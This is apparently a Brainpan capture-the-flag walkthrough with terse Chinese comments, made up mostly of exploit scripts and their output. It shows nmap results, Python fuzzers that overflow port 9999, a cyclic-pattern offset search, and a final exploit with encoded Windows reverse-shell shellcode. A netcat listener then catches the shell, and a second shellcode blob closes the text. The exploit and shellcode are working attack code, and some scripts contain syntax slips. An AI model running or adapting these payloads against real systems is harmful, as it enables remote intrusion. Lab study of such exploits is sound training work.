PORT STATE SERVICE VERSION 9999/tcp open abyss? | fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _| | _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| | [________________________ WELCOME TO BRAINPAN _________________________] |_ ENTER THE PASSWORD 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3) |_http-server-header: SimpleHTTP/0.6 Python/2.7.3 |_http-title: Site doesn't have a title (text/html). 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9999-TCP:V=7.94%I=7%D=3/24%Time=67E14BEE%P=x86_64-pc-linux-gnu% [________________________\x20WELCOME\x20TO\x20BRAINPAN\x MAC Address: 00:0C:29:1A:6B:9E (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop
#!/usr/bin/python import socket import time import sys
# Initial buffer size size = 100
whileTrue: try: # Print the current buffer size being sent print("\n[+] Sent evil buffer %s bytes " % size) # Create a buffer of 'size' bytes, all 'A' buffer = 'A' * size # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish a connection to the target IP and port s.connect(("192.168.241.1", 9999)) # Send the buffer s.send(buffer.encode()) # encode to bytes for Python 3 compatibility # Close the socket after sending the buffer s.close() # Increase buffer size for the next iteration size += 100 # Wait for 3 seconds before the next attempt time.sleep(3)
except Exception as e: # Print an error message if there was an issue connecting or sending print"[+] Could not connect." sys.exit()
接收端最大只有
1 2 3 4 5 6 7 8 9 10 11
[+] initializing winsock...done. [+] server socket created. [+] bind done on port 9999 [+] waiting for connections. [+] received connection. [get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] [get_reply] copied 100 bytes to buffer [+] check is -1 ... ... [get_reply] copied 600 bytes to buffer
#!/usr/bin/python import socket import time import sys
# Initial buffer size size = 100
whileTrue: try: # Print the current buffer size being sent print("\n[+] Sent evil buffer %s bytes " % size) # Create a buffer of 'size' bytes, all 'A' buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9' # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish a connection to the target IP and port s.connect(("192.168.241.1", 9999)) # Send the buffer s.send(buffer.encode()) # encode to bytes for Python 3 compatibility # Close the socket after sending the buffer s.close() # Increase buffer size for the next iteration size += 100 # Wait for 3 seconds before the next attempt time.sleep(3)
except Exception as e: # Print an error message if there was an issue connecting or sending print"[+] Could not connect." sys.exit()
#!/usr/bin/python import socket import time import sys
# Initial buffer size size = 100
whileTrue: try: # Print the current buffer size being sent print("\n[+] Sent evil buffer %s bytes " % size) # Create a buffer of 'size' bytes, all 'A' buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9' # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish a connection to the target IP and port s.connect(("192.168.241.1", 9999)) # Send the buffer s.send(buffer.encode()) # encode to bytes for Python 3 compatibility # Close the socket after sending the buffer s.close() # Increase buffer size for the next iteration size += 100 # Wait for 3 seconds before the next attempt time.sleep(3)
except Exception as e: # Print an error message if there was an issue connecting or sending print"[+] Could not connect." sys.exit()
#!/usr/bin/python import socket import time import sys
# Initial buffer size size = 100
whileTrue: try: # Print the current buffer size being sent print("\n[+] Sent evil buffer %s bytes " % size) # Create a buffer of 'size' bytes, all 'A' buffer = 'A'*524 + 'B'*4 + 'C'* 800 # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish a connection to the target IP and port s.connect(("192.168.241.1", 9999)) # Send the buffer s.send(buffer.encode()) # encode to bytes for Python 3 compatibility # Close the socket after sending the buffer s.close() # Increase buffer size for the next iteration size += 100 # Wait for 3 seconds before the next attempt time.sleep(3)
except Exception as e: # Print an error message if there was an issue connecting or sending print"[+] Could not connect." sys.exit()
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of c file: 1506 bytes
#!/usr/bin/python import socket import time import sys
# Set payload (windows_reverse_shell) for Windows try: # Create a socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to the target IP and port s.connect(("192.168.241.1", 9999)) # Example bad EBP address ebp = "311712f3" # Define bad characters to avoid badchars = '\x00' # Shellcode for Windows reverse shell shellcode = ("\xdb\xc6\xd9\x74\x24\xf4\x5a\x33\xc9\xbb\x9b\x9a\x52\x76" "\xb1\x52\x31\x5a\x17\x03\x5a\x17\x83\x71\x66\xb0\x83\x79" "\x7f\xb7\x6c\x81\x80\xd8\xe5\x64\xb1\xd8\x92\xed\xe2\xe8" "\xd1\xa3\x0e\x82\xb4\x57\x84\xe6\x10\x58\x2d\x4c\x47\x57" "\xae\xfd\xbb\xf6\x2c\xfc\xef\xd8\x0d\xcf\xfd\x19\x49\x32" "\x0f\x4b\x02\x38\xa2\x7b\x27\x74\x7f\xf0\x7b\x98\x07\xe5" "\xcc\x9b\x26\xb8\x47\xc2\xe8\x3b\x8b\x7e\xa1\x23\xc8\xbb" "\x7b\xd8\x3a\x37\x7a\x08\x73\xb8\xd1\x75\xbb\x4b\x2b\xb2" "\x7c\xb4\x5e\xca\x7e\x49\x59\x09\xfc\x95\xec\x89\xa6\x5e" "\x56\x75\x56\xb2\x01\xfe\x54\x7f\x45\x58\x79\x7e\x8a\xd3" "\x85\x0b\x2d\x33\x0c\x4f\x0a\x97\x54\x0b\x33\x8e\x30\xfa" "\x4c\xd0\x9a\xa3\xe8\x9b\x37\xb7\x80\xc6\x5f\x74\xa9\xf8" "\x9f\x12\xba\x8b\xad\xbd\x10\x03\x9e\x36\xbf\xd4\xe1\x6c" "\x07\x4a\x1c\x8f\x78\x43\xdb\xdb\x28\xfb\xca\x63\xa3\xfb" "\xf3\xb1\x64\xab\x5b\x6a\xc5\x1b\x1c\xda\xad\x71\x93\x05" "\xcd\x7a\x79\x2e\x64\x81\xea\x91\xd1\x78\x6a\x79\x20\x7a" "\x6a\xc1\xad\x9c\x06\x25\xf8\x37\xbf\xdc\xa1\xc3\x5e\x20" "\x7c\xae\x61\xaa\x73\x4f\x2f\x5b\xf9\x43\xd8\xab\xb4\x39" "\x4f\xb3\x62\x55\x13\x26\xe9\xa5\x5a\x5b\xa6\xf2\x0b\xad" "\xbf\x96\xa1\x94\x69\x84\x3b\x40\x51\x0c\xe0\xb1\x5c\x8d" "\x65\x8d\x7a\x9d\xb3\x0e\xc7\xc9\x6b\x59\x91\xa7\xcd\x33" "\x53\x11\x84\xe8\x3d\xf5\x51\xc3\xfd\x83\x5d\x0e\x88\x6b" "\xef\xe7\xcd\x94\xc0\x6f\xda\xed\x3c\x10\x25\x24\x85\x20" "\x6c\x64\xac\xa8\x29\xfd\xec\xb4\xc9\x28\x32\xc1\x49\xd8" "\xcb\x36\x51\xa9\xce\x73\xd5\x42\xa3\xec\xb0\x64\x10\x0c" "\x91") # Create buffer with padding (524 A's), EBP overwrite, NOP sled (16 bytes), and shellcode buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode # Print info message print("\n[+] Sending evil buffer: 524 A's, EBP overwrite, 16 NOPs, and shellcode (Windows reverse shell).") # Send buffer to the target s.send(buffer) # Close the socket connection s.close() # Wait for a short period before exiting time.sleep(2) except: # If unable to connect, print an error message and exit print("\n[+] Could not connect, error!") sys.exit()
提前开一个监听
1 2 3
listening on [any] 443 ... connect to [192.168.241.128] from (UNKNOWN) [192.168.241.1] 54925 Microsoft Windows [�汾 10.0.26100.3476]
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of c file: 425 bytes unsigned char buf[] = "\xdb\xc8\xd9\x74\x24\xf4\xb8\x20\x14\x87\x88\x5a\x31\xc9" "\xb1\x12\x31\x42\x17\x83\xc2\x04\x03\x62\x07\x65\x7d\x53" "\xfc\x9e\x9d\xc0\x41\x32\x08\xe4\xcc\x55\x7c\x8e\x03\x15" "\xee\x17\x2c\x29\xdc\x27\x05\x2f\x27\x4f\x56\x67\x26\x0f" "\x3e\x7a\xc9\x0e\x04\xf3\x28\xa0\x1c\x54\xfa\x93\x53\x57" "\x75\xf2\x59\xd8\xd7\x9c\x0f\xf6\xa4\x34\xb8\x27\x64\xa6" "\x51\xb1\x99\x74\xf1\x48\xbc\xc8\xfe\x87\xbf";
